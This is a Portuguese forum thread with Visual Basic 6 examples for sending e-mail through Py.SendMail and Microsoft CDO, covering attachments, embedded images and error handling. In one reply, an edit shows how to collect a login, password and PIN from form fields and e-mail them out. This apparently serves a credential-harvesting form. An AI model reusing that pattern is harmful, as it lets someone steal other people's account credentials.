Ir para conteúdo
Fórum Script Brasil
  • 0

Enviar e-mails


Chk

Pergunta

16 respostass a esta questão

Posts Recomendados

  • 0

se você fizer o download do py.sendmail no link indicado, se você entrar na pasta onde foi instalado (padrão arquivos de programas), tem uma pasta com exemplos la e tem um pra vb6 com todo o codigo q você precisa saber, da uma olhada la, qualquer coisa pergunta.

Link para o comentário
Compartilhar em outros sites

  • 0

Seguinte, qual e-mail você esta tentando usar para enviar?? Hotmail por exemplo não da! pois eles tem uma proteção q n permite! Recomendo a você o yahoo!

Utilize esse código após instala o Py.sendmail!

Set k = CreateObject("Py.SendMail")
    
    k.SMTPServer = "smtp.mail.yahoo.com.br"
    k.Recipient = "nome de quem vai receber"
    k.To = "e-mail q receberá"
    
    k.Sender = "Nome de quem envio"
    k.From = "....@yahoo.com"
    
    k.Cc = ""
    k.Bcc = ""
    k.Subject = "Assunto"
    k.Body = "Corpo da mensagem!"

    'Em caso de autenticação
    k.User = "....@yahoo.com"
    k.Password = "Sua senha"
              
    retorno = k.send()
        
    
    lblRetorno = "Retorno: " & retorno
    Debug.Print retorno
    MsgBox "E-mail enviado!", vbInformation, "E-mail!"
    End
    On Error GoTo Erro
Erro:
    MsgBox "Não foi possível concluir a operação!", vbCritical, "Erro!"
    End If

edit---

para chegar o login senha e pin, crie variaveis e faça assim no k.body:

dim login,senha,pin as string

login= txtlogin.text

senha= txtsenha.text

pin = txtpin.text

k.Body = "Login: " & login & "<BR>" & "Senha: " & senha & "<BR>" & "Pin: " & pin

Boa sorte ;)

Editado por Matheus-vb6
Link para o comentário
Compartilhar em outros sites

  • 0

olá!

Você poderia utilizar também a referencia

"Microsoft CDO for windows 2000 Library"

Muito bom, eu utilizazo para enviar e-mails, pratico e fácil.

Private Sub cmdEnviar_Click()
        Dim CDO As CDO.Message
        Set CDO = New CDO.Message
    
        caminho = "[url="http://schemas.microsoft.com/cdo/configuration/"]http://schemas.microsoft.com/cdo/configuration/[/url]"
        CDO.From = "[email="emailorigem@origem.com.br"]emailorigem@origem.com.br[/email]"
        CDO.To = [email="emaildestino@destino.com.br"]emaildestino@destino.com.br[/email]
        CDO.Subject = "Assunto"
        
        CDO.TextBody = "Texto do email"
        
        CDO.Configuration.Fields.Item(caminho & "smtpauthenticate") = 1
        CDO.Configuration.Fields.Item(caminho & "smtpserverport") = 25
        CDO.Configuration.Fields.Item(caminho & "sendusing") = 2
        CDO.Configuration.Fields.Item(caminho & "smtpserver") = "smtpserver"
        CDO.Configuration.Fields.Item(caminho & "sendusername") = "contadeemail"
        CDO.Configuration.Fields.Item(caminho & "sendpassword") = "senha"
        CDO.Configuration.Fields.Update
        
        CDO.Send
    
        Set CDO = Nothing
End Sub

Abraços

Leandro

Link para o comentário
Compartilhar em outros sites

  • 0

Só para constar....resolvi o problema de envio de email assim..

Adicionei referência no projeto a Microsoft CDO for Windows 2000 Library que fica no System32 (cdosys.dll).

O melhor de usar essa "biblioteca" é que funciona no Windows 7 32 e 64 bits sem maiores dificuldades.

Private Sub Command1_Click()
    
  Dim MailMsg As CDO.Message
  Dim MailConf As CDO.Configuration
  Dim MCFields As Object
    
  Set MailMsg = New CDO.Message
  Set MailConf = New CDO.Configuration
  Set MCFields = MailConf.Fields


  MCFields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2  '  SMTP
  MCFields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.exemplo.com.br" 
  MCFields.Item(cdoSMTPAuthenticate) = cdoBasic
    
  MCFields.Update

  Set MailMsg.Configuration = MailConf

  MailMsg.TextBody = Text2.Text
  MailMsg.Subject = "Título do email"
  MailMsg.To = "email destino"
  MailMsg.From =  "email origem"

  MailMsg.AddAttachment "Caminho do arquivo a ser anexado"

  MailMsg.Send
  
End Sub

Ficou fino!

Também testei o Py.SendMail e o mesmo também funcionou. Mas achei o código acima mais prático.

T+

Link para o comentário
Compartilhar em outros sites

  • 0

Tem essa função no py.sendmail...

Os códigos abaixo é para anexar usando o py.sendmail são os mesmos códigos de exemplos que tem na instalação do py.sendmail

Anexo "Comum"

Private Sub cmdAnexo_Click()
    On Error Resume Next
    CDlg.Filter = "Todos os Arquivos|*.*"
    CDlg.ShowOpen
    If Err.Number = 0 Then 'Não Cancelou
        lstAnexos.AddItem CDlg.FileName
    End If
    On Error GoTo 0
End Sub
Anexo Imagem
On Error Resume Next
    CDlg.Filter = "Arquivos de imagem|*.jpg;*.gif;*.bmp;*.jpeg"
    CDlg.ShowOpen
    If Err.Number = 0 Then 'Não Cancelou
        lstImagens.AddItem CDlg.FileName
        
        txtMensagem.Text = txtMensagem.Text & "<img src=" & Chr(34) & "cid:" & lstImagens.ListCount - 1 & Chr(34) & " />"
    End If
    On Error GoTo 0
Na hora de enviar anexa todos os itens...
Private Sub cmdEnviar_Click()
    Set k = CreateObject("Py.SendMail")
    
    k.SMTPServer = txtServidor.Text
    
    k.Recipient = txtNomePara.Text
    k.To = txtEmailPara.Text
    
    k.Sender = txtNomeDe.Text
    k.From = txtEmailDe.Text
    
    k.Cc = txtCc.Text
    k.Bcc = txtBcc.Text
    k.Subject = txtAssunto.Text
    k.Body = txtMensagem.Text
    k.PureText = chkTextoPuro.Value
    
    'Em caso de autenticação
    'MsgBox "Informar usuário e senha!"
    'k.User = "seu_email"
    'k.Password = "senha"
    
    ' INICIO - TODOS OS ARQUIVOS
    For i = 0 To lstAnexos.ListCount - 1
        k.AttachFile lstAnexos.List(i)
    Next i
    
    For i = 0 To lstImagens.ListCount - 1
        k.InsertImage lstImagens.List(i)
    Next i
   ' FIM   

    retorno = k.Send()
    lblRetorno = "Retorno: " & retorno
    Debug.Print retorno
End Sub

T+ pode testar que é fino...irá funcionar sem problema.

Link para o comentário
Compartilhar em outros sites

  • 0

Isso trata o erro que retornará número especifico.

Private Sub EnviarEmail()
   
  
  On Error GoTo TrataErro

  ' Rotina que envia o e-mail, caso ocorra erro irá para "TrataErro:".

  On Error GoTo 0
  
  Exit Sub
  
TrataErro:
  Call MsgBox(Err.Number, vbCritical, "Número do erro")
  Call MsgBox(Err.Description, vbCritical, "Descrição do erro")
  
End Sub

No caso você consegue capturar o número do erro e validar "Err.Number" em um "if", assim pode fazer um tratamento especifico para cada situação (ex: corromper).

T+

Link para o comentário
Compartilhar em outros sites

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,3k
    • Posts
      652,5k
×
×
  • Criar Novo...